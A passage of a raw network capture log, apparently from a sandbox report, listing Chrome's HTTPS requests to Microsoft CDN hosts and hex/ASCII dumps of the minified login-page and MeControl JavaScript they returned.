d:1027,PhoneFormattingInvalid:1028,PollingTimedOut:1029,SendNotificationFailed:1030,Server_MessageOnly:9999,PP_E_DB_MEMBERDOESNOTEXIST:"CFFFFC15",PP_E_EXCLUDED:"80041010",PP_E_MEMBER_LOCKED:"80041011",PP_E_BAD_PASSWORD:"80041012",PP_E_MISSING_MEMBERNAME:"
2024-08-29 22:19:50 UTC	16383	IN	Data Raw: 69 74 68 54 69 6d 65 6f 75 74 28 64 2e 50 75 62 6c 69 63 4b 65 79 43 72 65 64 65 6e 74 69 61 6c 2e 69 73 45 78 74 65 72 6e 61 6c 43 54 41 50 32 53 65 63 75 72 69 74 79 4b 65 79 53 75 70 70 6f 72 74 65 64 2c 6f 2e 50 72 6f 6d 69 73 65 54 69 6d 65 6f 75 74 2c 21 31 29 7d 72 65 74 75 72 6e 20 61 2e 72 65 73 6f 6c 76 65 28 65 29 7d 2c 69 73 43 68 61 6e 67 69 6e 67 49 6e 70 75 74 54 79 70 65 53 75 70 70 6f 72 74 65 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 5f 2e 69 73 49 45 4f 6c 64 65 72 54 68 61 6e 28 39 29 7d 2c 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 43 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 29 3b 65 Data Ascii: ithTimeout(d.PublicKeyCredential.isExternalCTAP2SecurityKeySupported,o.PromiseTimeout,!1)}return a.resolve(e)},isChangingInputTypeSupported:function(){return!_.isIEOlderThan(9)},isHighContrast:function(){if(null===C){var e=document.createElement("span");e
2024-08-29 22:19:50 UTC	3	IN	Data Raw: 7b 69 66 Data Ascii: {if
2024-08-29 22:19:50 UTC	16383	IN	Data Raw: 28 66 29 69 66 28 76 29 74 72 79 7b 53 28 72 2e 70 61 72 73 65 28 6e 29 29 7d 63 61 74 63 68 28 74 29 7b 43 28 38 65 33 29 7d 65 6c 73 65 20 53 28 72 2e 70 61 72 73 65 28 6e 29 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 72 29 7b 66 26 26 53 28 62 28 6e 2c 74 29 29 7d 29 2c 75 29 7d 7d 2c 6e 2e 50 6f 73 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 2c 69 2c 61 2c 73 29 7b 76 61 72 20 75 3d 65 2e 75 72 6c 2c 63 3d 7b 7d 2c 6c 3d 21 31 3b 69 7c 7c 61 7c 7c 28 6c 3d 21 30 29 2c 43 28 63 2c 65 2c 6f 2e 52 65 71 75 65 73 74 54 79 70 65 2e 50 6f 73 74 2c 73 2c 74 2c 6c 29 3b 76 61 72 20 64 3d 7b 74 61 72 67 65 74 55 72 6c 3a 75 2c 63 6f 6e 74 65 6e 74 54 79 70 65 3a 74 2c 64 61 74 61 3a 72 2c 72 65 71 75 65 73 74 54 79 70 65 3a 6f 2e 52 65 71 Data Ascii: (f)if(v)try{S(r.parse(n))}catch(t){C(8e3)}else S(r.parse(n))}),(function(e,n,t,r){f&&S(b(n,t))}),u)}},n.Post=function(e,t,r,i,a,s){var u=e.url,c={},l=!1;i\|\|a\|\|(l=!0),C(c,e,o.RequestType.Post,s,t,l);var d={targetUrl:u,contentType:t,data:r,requestType:o.Req
2024-08-29 22:19:50 UTC	16383	IN	Data Raw: 2c 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 5b 72 5d 29 7d 2c 53 2e 62 28 22 75 74 69 6c 73 2e 70 61 72 73 65 48 74 6d 6c 46 72 61 67 6d 65 6e 74 22 2c 53 2e 61 2e 75 61 29 2c 53 2e 62 28 22 75 74 69 6c 73 2e 73 65 74 48 74 6d 6c 22 2c 53 2e 61 2e 66 63 29 2c 53 2e 61 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 7d 3b 72 65 74 75 72 6e 7b 58 62 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 6e 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 59 6f 75 20 63 61 6e 20 6f 6e 6c 79 20 70 61 73 73 20 61 20 66 75 6e 63 74 69 6f 6e 20 74 6f 20 6b 6f 2e 6d 65 6d 6f 69 7a 61 74 69 6f 6e 2e 6d 65 6d 6f 69 7a 65 28 29 22 29 3b 76 61 72 20 74 Data Ascii: ,r=0;r<t.length;r++)e.appendChild(t[r])},S.b("utils.parseHtmlFragment",S.a.ua),S.b("utils.setHtml",S.a.fc),S.aa=function(){var e={};return{Xb:function(n){if("function"!=typeof n)throw Error("You can only pass a function to ko.memoization.memoize()");var t
2024-08-29 22:19:50 UTC	16383	IN	Data Raw: 3d 6e 26 26 6e 21 3d 3d 61 7c 7c 28 6e 3d 22 22 29 2c 65 2e 76 61 6c 75 65 3d 6e 7d 7d 7d 2c 53 2e 62 28 22 73 65 6c 65 63 74 45 78 74 65 6e 73 69 6f 6e 73 22 2c 53 2e 77 29 2c 53 2e 62 28 22 73 65 6c 65 63 74 45 78 74 65 6e 73 69 6f 6e 73 2e 72 65 61 64 56 61 6c 75 65 22 2c 53 2e 77 2e 4d 29 2c 53 2e 62 28 22 73 65 6c 65 63 74 45 78 74 65 6e 73 69 6f 6e 73 2e 77 72 69 74 65 56 61 6c 75 65 22 2c 53 2e 77 2e 63 62 29 2c 53 2e 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 31 32 33 3d 3d 3d 28 65 3d 53 2e 61 2e 44 62 28 65 29 29 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 26 26 28 65 3d 65 2e 73 6c 69 63 65 28 31 2c 2d 31 29 29 3b 76 61 72 20 6e 2c 74 3d 5b 5d 2c 61 3d 28 65 2b 3d 22 5c 6e 2c 22 29 2e 6d 61 74 63 68 28 72 29 Data Ascii: =n&&n!==a\|\|(n=""),e.value=n}}},S.b("selectExtensions",S.w),S.b("selectExtensions.readValue",S.w.M),S.b("selectExtensions.writeValue",S.w.cb),S.m=function(){function e(e){123===(e=S.a.Db(e)).charCodeAt(0)&&(e=e.slice(1,-1));var n,t=[],a=(e+="\n,").match(r)
2024-08-29 22:19:50 UTC	16383	IN	Data Raw: 20 45 72 72 6f 72 28 22 55 6e 6b 6e 6f 77 6e 20 63 6f 6d 70 6f 6e 65 6e 74 20 27 22 2b 72 2b 22 27 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 69 66 28 21 28 6e 3d 6e 2e 74 65 6d 70 6c 61 74 65 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 6f 6d 70 6f 6e 65 6e 74 20 27 22 2b 65 2b 22 27 20 68 61 73 20 6e 6f 20 74 65 6d 70 6c 61 74 65 22 29 3b 65 3d 53 2e 61 2e 43 61 28 6e 29 2c 53 2e 68 2e 76 61 28 74 2c 65 29 7d 28 72 2c 65 2c 6e 29 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 3d 65 2e 63 72 65 61 74 65 56 69 65 77 4d 6f 64 65 6c 3b 72 65 74 75 72 6e 20 72 3f 72 2e 63 61 6c 6c 28 65 2c 6e 2c 74 29 3a 6e 7d 28 65 2c 6f 2c 7b 65 6c 65 6d 65 6e 74 3a 6e 2c 74 65 6d 70 6c 61 74 65 4e 6f 64 65 73 3a 6c Data Ascii: Error("Unknown component '"+r+"'");!function(e,n,t){if(!(n=n.template))throw Error("Component '"+e+"' has no template");e=S.a.Ca(n),S.h.va(t,e)}(r,e,n);var t=function(e,n,t){var r=e.createViewModel;return r?r.call(e,n,t):n}(e,o,{element:n,templateNodes:l
2024-08-29 22:19:50 UTC	16383	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 74 29 7b 53 2e 64 63 28 65 2c 6e 2c 73 2c 74 2c 22 72 65 70 6c 61 63 65 4e 6f 64 65 22 29 7d 29 29 7d 2c 53 2e 51 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 2c 73 2c 75 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 6e 29 7b 53 2e 75 2e 47 28 53 2e 61 2e 65 63 2c 6e 75 6c 6c 2c 5b 73 2c 65 2c 64 2c 69 2c 6c 2c 6e 5d 29 2c 53 2e 69 2e 6d 61 28 73 2c 53 2e 69 2e 48 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 6e 28 74 2c 66 29 2c 69 2e 61 66 74 65 72 52 65 6e 64 65 72 26 26 69 2e 61 66 74 65 72 52 65 6e 64 65 72 28 74 2c 65 29 2c 66 3d 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 64 28 6e 2c 74 29 7b 66 3d 75 2e 63 72 65 61 74 65 43 68 69 6c 64 43 6f 6e 74 65 78 74 28 6e 2c 7b 61 73 3a 70 2c 6e 6f 43 68 69 6c 64 43 6f 6e 74 Data Ascii: unction(t){S.dc(e,n,s,t,"replaceNode")}))},S.Qd=function(e,t,i,s,u){function c(e,n){S.u.G(S.a.ec,null,[s,e,d,i,l,n]),S.i.ma(s,S.i.H)}function l(e,t){n(t,f),i.afterRender&&i.afterRender(t,e),f=null}function d(n,t){f=u.createChildContext(n,{as:p,noChildCont
2024-08-29 22:19:50 UTC	16383	IN	Data Raw: 6f 6e 66 69 67 2c 61 3d 74 2e 69 53 65 73 73 69 6f 6e 50 75 6c 6c 54 79 70 65 3b 6e 2e 66 6f 72 63 65 53 75 62 6d 69 74 3d 72 2e 6f 62 73 65 72 76 61 62 6c 65 28 21 31 29 2c 6e 2e 70 6f 73 74 52 65 64 69 72 65 63 74 3d 72 2e 6f 62 73 65 72 76 61 62 6c 65 28 29 2c 6e 2e 73 65 73 73 69 6f 6e 50 75 6c 6c 54 79 70 65 3d 61 2c 6e 2e 66 65 74 63 68 53 65 73 73 69 6f 6e 73 5f 6f 6e 48 61 6e 64 6c 65 44 73 73 6f 53 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 66 6f 72 63 65 53 75 62 6d 69 74 28 21 30 29 7d 2c 6e 2e 66 65 74 63 68 53 65 73 73 69 6f 6e 73 5f 6f 6e 48 61 6e 64 6c 65 44 73 73 6f 46 61 69 6c 75 72 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 26 26 69 2e 72 65 64 69 72 65 63 74 55 72 69 26 26 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f Data Ascii: onfig,a=t.iSessionPullType;n.forceSubmit=r.observable(!1),n.postRedirect=r.observable(),n.sessionPullType=a,n.fetchSessions_onHandleDssoSuccess=function(){n.forceSubmit(!0)},n.fetchSessions_onHandleDssoFailure=function(){i&&i.redirectUri&&document.locatio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49892	152.199.21.175	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:51 UTC	410	OUT	GET /shared/1.0/content/js/FetchSessions_Core_VRFGv7Cn5qZDpUQIsx-pnA2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:51 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 1834688 Cache-Control: public, max-age=31536000 Content-MD5: zZru9l+ZiZjCpirRGrH+Ug== Content-Type: application/x-javascript Date: Thu, 29 Aug 2024 22:19:51 GMT Etag: 0x8DCB563CDC60F56 Last-Modified: Mon, 05 Aug 2024 15:32:23 GMT Server: ECAcc (lhc/7889) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 082e3e46-701e-007d-25b1-e9bb0f000000 x-ms-version: 2009-09-19 Content-Length: 149676 Connection: close
2024-08-29 22:19:51 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-08-29 22:19:51 UTC	1	IN	Data Raw: 64 Data Ascii: d
2024-08-29 22:19:51 UTC	16383	IN	Data Raw: 3a 31 30 32 37 2c 50 68 6f 6e 65 46 6f 72 6d 61 74 74 69 6e 67 49 6e 76 61 6c 69 64 3a 31 30 32 38 2c 50 6f 6c 6c 69 6e 67 54 69 6d 65 64 4f 75 74 3a 31 30 32 39 2c 53 65 6e 64 4e 6f 74 69 66 69 63 61 74 69 6f 6e 46 61 69 6c 65 64 3a 31 30 33 30 2c 53 65 72 76 65 72 5f 4d 65 73 73 61 67 65 4f 6e 6c 79 3a 39 39 39 39 2c 50 50 5f 45 5f 44 42 5f 4d 45 4d 42 45 52 44 4f 45 53 4e 4f 54 45 58 49 53 54 3a 22 43 46 46 46 46 43 31 35 22 2c 50 50 5f 45 5f 45 58 43 4c 55 44 45 44 3a 22 38 30 30 34 31 30 31 30 22 2c 50 50 5f 45 5f 4d 45 4d 42 45 52 5f 4c 4f 43 4b 45 44 3a 22 38 30 30 34 31 30 31 31 22 2c 50 50 5f 45 5f 42 41 44 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 31 30 31 32 22 2c 50 50 5f 45 5f 4d 49 53 53 49 4e 47 5f 4d 45 4d 42 45 52 4e 41 4d 45 3a 22 38 Data Ascii: :1027,PhoneFormattingInvalid:1028,PollingTimedOut:1029,SendNotificationFailed:1030,Server_MessageOnly:9999,PP_E_DB_MEMBERDOESNOTEXIST:"CFFFFC15",PP_E_EXCLUDED:"80041010",PP_E_MEMBER_LOCKED:"80041011",PP_E_BAD_PASSWORD:"80041012",PP_E_MISSING_MEMBERNAME:"8
2024-08-29 22:19:51 UTC	16383	IN	Data Raw: 74 68 54 69 6d 65 6f 75 74 28 64 2e 50 75 62 6c 69 63 4b 65 79 43 72 65 64 65 6e 74 69 61 6c 2e 69 73 45 78 74 65 72 6e 61 6c 43 54 41 50 32 53 65 63 75 72 69 74 79 4b 65 79 53 75 70 70 6f 72 74 65 64 2c 6f 2e 50 72 6f 6d 69 73 65 54 69 6d 65 6f 75 74 2c 21 31 29 7d 72 65 74 75 72 6e 20 61 2e 72 65 73 6f 6c 76 65 28 65 29 7d 2c 69 73 43 68 61 6e 67 69 6e 67 49 6e 70 75 74 54 79 70 65 53 75 70 70 6f 72 74 65 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 5f 2e 69 73 49 45 4f 6c 64 65 72 54 68 61 6e 28 39 29 7d 2c 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 43 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 29 3b 65 2e Data Ascii: thTimeout(d.PublicKeyCredential.isExternalCTAP2SecurityKeySupported,o.PromiseTimeout,!1)}return a.resolve(e)},isChangingInputTypeSupported:function(){return!_.isIEOlderThan(9)},isHighContrast:function(){if(null===C){var e=document.createElement("span");e.
2024-08-29 22:19:52 UTC	16383	IN	Data Raw: 69 66 28 66 29 69 66 28 76 29 74 72 79 7b 53 28 72 2e 70 61 72 73 65 28 6e 29 29 7d 63 61 74 63 68 28 74 29 7b 43 28 38 65 33 29 7d 65 6c 73 65 20 53 28 72 2e 70 61 72 73 65 28 6e 29 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 72 29 7b 66 26 26 53 28 62 28 6e 2c 74 29 29 7d 29 2c 75 29 7d 7d 2c 6e 2e 50 6f 73 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 2c 69 2c 61 2c 73 29 7b 76 61 72 20 75 3d 65 2e 75 72 6c 2c 63 3d 7b 7d 2c 6c 3d 21 31 3b 69 7c 7c 61 7c 7c 28 6c 3d 21 30 29 2c 43 28 63 2c 65 2c 6f 2e 52 65 71 75 65 73 74 54 79 70 65 2e 50 6f 73 74 2c 73 2c 74 2c 6c 29 3b 76 61 72 20 64 3d 7b 74 61 72 67 65 74 55 72 6c 3a 75 2c 63 6f 6e 74 65 6e 74 54 79 70 65 3a 74 2c 64 61 74 61 3a 72 2c 72 65 71 75 65 73 74 54 79 70 65 3a 6f 2e 52 Data Ascii: if(f)if(v)try{S(r.parse(n))}catch(t){C(8e3)}else S(r.parse(n))}),(function(e,n,t,r){f&&S(b(n,t))}),u)}},n.Post=function(e,t,r,i,a,s){var u=e.url,c={},l=!1;i\|\|a\|\|(l=!0),C(c,e,o.RequestType.Post,s,t,l);var d={targetUrl:u,contentType:t,data:r,requestType:o.R
2024-08-29 22:19:52 UTC	16383	IN	Data Raw: 74 29 2c 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 5b 72 5d 29 7d 2c 53 2e 62 28 22 75 74 69 6c 73 2e 70 61 72 73 65 48 74 6d 6c 46 72 61 67 6d 65 6e 74 22 2c 53 2e 61 2e 75 61 29 2c 53 2e 62 28 22 75 74 69 6c 73 2e 73 65 74 48 74 6d 6c 22 2c 53 2e 61 2e 66 63 29 2c 53 2e 61 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 7d 3b 72 65 74 75 72 6e 7b 58 62 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 6e 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 59 6f 75 20 63 61 6e 20 6f 6e 6c 79 20 70 61 73 73 20 61 20 66 75 6e 63 74 69 6f 6e 20 74 6f 20 6b 6f 2e 6d 65 6d 6f 69 7a 61 74 69 6f 6e 2e 6d 65 6d 6f 69 7a 65 28 29 22 29 3b 76 61 72 Data Ascii: t),r=0;r<t.length;r++)e.appendChild(t[r])},S.b("utils.parseHtmlFragment",S.a.ua),S.b("utils.setHtml",S.a.fc),S.aa=function(){var e={};return{Xb:function(n){if("function"!=typeof n)throw Error("You can only pass a function to ko.memoization.memoize()");var
2024-08-29 22:19:52 UTC	16383	IN	Data Raw: 21 3d 3d 6e 26 26 6e 21 3d 3d 61 7c 7c 28 6e 3d 22 22 29 2c 65 2e 76 61 6c 75 65 3d 6e 7d 7d 7d 2c 53 2e 62 28 22 73 65 6c 65 63 74 45 78 74 65 6e 73 69 6f 6e 73 22 2c 53 2e 77 29 2c 53 2e 62 28 22 73 65 6c 65 63 74 45 78 74 65 6e 73 69 6f 6e 73 2e 72 65 61 64 56 61 6c 75 65 22 2c 53 2e 77 2e 4d 29 2c 53 2e 62 28 22 73 65 6c 65 63 74 45 78 74 65 6e 73 69 6f 6e 73 2e 77 72 69 74 65 56 61 6c 75 65 22 2c 53 2e 77 2e 63 62 29 2c 53 2e 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 31 32 33 3d 3d 3d 28 65 3d 53 2e 61 2e 44 62 28 65 29 29 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 26 26 28 65 3d 65 2e 73 6c 69 63 65 28 31 2c 2d 31 29 29 3b 76 61 72 20 6e 2c 74 3d 5b 5d 2c 61 3d 28 65 2b 3d 22 5c 6e 2c 22 29 2e 6d 61 74 63 68 28 Data Ascii: !==n&&n!==a\|\|(n=""),e.value=n}}},S.b("selectExtensions",S.w),S.b("selectExtensions.readValue",S.w.M),S.b("selectExtensions.writeValue",S.w.cb),S.m=function(){function e(e){123===(e=S.a.Db(e)).charCodeAt(0)&&(e=e.slice(1,-1));var n,t=[],a=(e+="\n,").match(
2024-08-29 22:19:52 UTC	5	IN	Data Raw: 6f 77 20 45 72 Data Ascii: ow Er
2024-08-29 22:19:52 UTC	16383	IN	Data Raw: 72 6f 72 28 22 55 6e 6b 6e 6f 77 6e 20 63 6f 6d 70 6f 6e 65 6e 74 20 27 22 2b 72 2b 22 27 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 69 66 28 21 28 6e 3d 6e 2e 74 65 6d 70 6c 61 74 65 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 6f 6d 70 6f 6e 65 6e 74 20 27 22 2b 65 2b 22 27 20 68 61 73 20 6e 6f 20 74 65 6d 70 6c 61 74 65 22 29 3b 65 3d 53 2e 61 2e 43 61 28 6e 29 2c 53 2e 68 2e 76 61 28 74 2c 65 29 7d 28 72 2c 65 2c 6e 29 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 3d 65 2e 63 72 65 61 74 65 56 69 65 77 4d 6f 64 65 6c 3b 72 65 74 75 72 6e 20 72 3f 72 2e 63 61 6c 6c 28 65 2c 6e 2c 74 29 3a 6e 7d 28 65 2c 6f 2c 7b 65 6c 65 6d 65 6e 74 3a 6e 2c 74 65 6d 70 6c 61 74 65 4e 6f 64 65 73 3a 6c 7d 29 3b Data Ascii: ror("Unknown component '"+r+"'");!function(e,n,t){if(!(n=n.template))throw Error("Component '"+e+"' has no template");e=S.a.Ca(n),S.h.va(t,e)}(r,e,n);var t=function(e,n,t){var r=e.createViewModel;return r?r.call(e,n,t):n}(e,o,{element:n,templateNodes:l});
2024-08-29 22:19:52 UTC	16383	IN	Data Raw: 74 69 6f 6e 28 74 29 7b 53 2e 64 63 28 65 2c 6e 2c 73 2c 74 2c 22 72 65 70 6c 61 63 65 4e 6f 64 65 22 29 7d 29 29 7d 2c 53 2e 51 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 2c 73 2c 75 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 6e 29 7b 53 2e 75 2e 47 28 53 2e 61 2e 65 63 2c 6e 75 6c 6c 2c 5b 73 2c 65 2c 64 2c 69 2c 6c 2c 6e 5d 29 2c 53 2e 69 2e 6d 61 28 73 2c 53 2e 69 2e 48 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 6e 28 74 2c 66 29 2c 69 2e 61 66 74 65 72 52 65 6e 64 65 72 26 26 69 2e 61 66 74 65 72 52 65 6e 64 65 72 28 74 2c 65 29 2c 66 3d 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 64 28 6e 2c 74 29 7b 66 3d 75 2e 63 72 65 61 74 65 43 68 69 6c 64 43 6f 6e 74 65 78 74 28 6e 2c 7b 61 73 3a 70 2c 6e 6f 43 68 69 6c 64 43 6f 6e 74 65 78 74 Data Ascii: tion(t){S.dc(e,n,s,t,"replaceNode")}))},S.Qd=function(e,t,i,s,u){function c(e,n){S.u.G(S.a.ec,null,[s,e,d,i,l,n]),S.i.ma(s,S.i.H)}function l(e,t){n(t,f),i.afterRender&&i.afterRender(t,e),f=null}function d(n,t){f=u.createChildContext(n,{as:p,noChildContext

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49896	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:52 UTC	602	OUT	GET /scripts/me/MeControl/10.24086.4/en-US/meCore.min.js HTTP/1.1 Host: mem.gfx.ms Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://support.microsoft.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://support.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:53 UTC	622	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:52 GMT Content-Type: application/javascript Content-Length: 100769 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Thu, 22 Aug 2024 23:12:08 GMT ETag: "1daf5236222e5a1" X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * X-UA-Compatible: IE=edge Strict-Transport-Security: max-age=31536000; includeSubDomains x-azure-ref: 20240829T221952Z-16579567576mj4tc2xukwvxfxc000000026g00000000kpkm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:53 UTC	15762	IN	Data Raw: 4d 65 43 6f 6e 74 72 6f 6c 44 65 66 69 6e 65 28 22 6d 65 43 6f 72 65 22 2c 5b 22 65 78 70 6f 72 74 73 22 2c 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 69 6e 6c 69 6e 65 22 2c 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 62 6f 6f 74 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 66 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 72 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 7d 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 Data Ascii: MeControlDefine("meCore",["exports","@mecontrol/web-inline","@mecontrol/web-boot"],function(e,f,h){"use strict";var r=function(e,t){return(r=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)
2024-08-29 22:19:53 UTC	16384	IN	Data Raw: 61 6e 64 6c 65 72 3d 68 2e 64 65 62 6f 75 6e 63 65 28 74 2e 65 78 70 61 6e 64 65 64 53 63 72 6f 6c 6c 48 61 6e 64 6c 65 72 2e 62 69 6e 64 28 74 29 29 2c 74 2e 73 74 61 74 65 3d 7b 65 78 70 61 6e 64 65 64 3a 21 31 7d 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 24 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 6e 65 77 20 66 2e 53 79 6e 74 68 65 74 69 63 45 76 65 6e 74 28 22 63 6f 6d 6d 61 6e 64 63 6c 69 63 6b 22 2c 7b 63 6f 6d 6d 61 6e 64 49 64 3a 74 2e 69 64 2c 63 75 72 72 65 6e 74 41 63 63 6f 75 6e 74 3a 6e 7d 29 2c 6f 3d 66 2e 67 65 74 4f 70 74 69 6f 6e 73 28 29 3b 6f 26 26 28 6f 2e 73 79 6e 74 68 65 74 69 63 45 76 65 6e 74 54 61 72 67 65 74 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 72 29 7c 7c 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 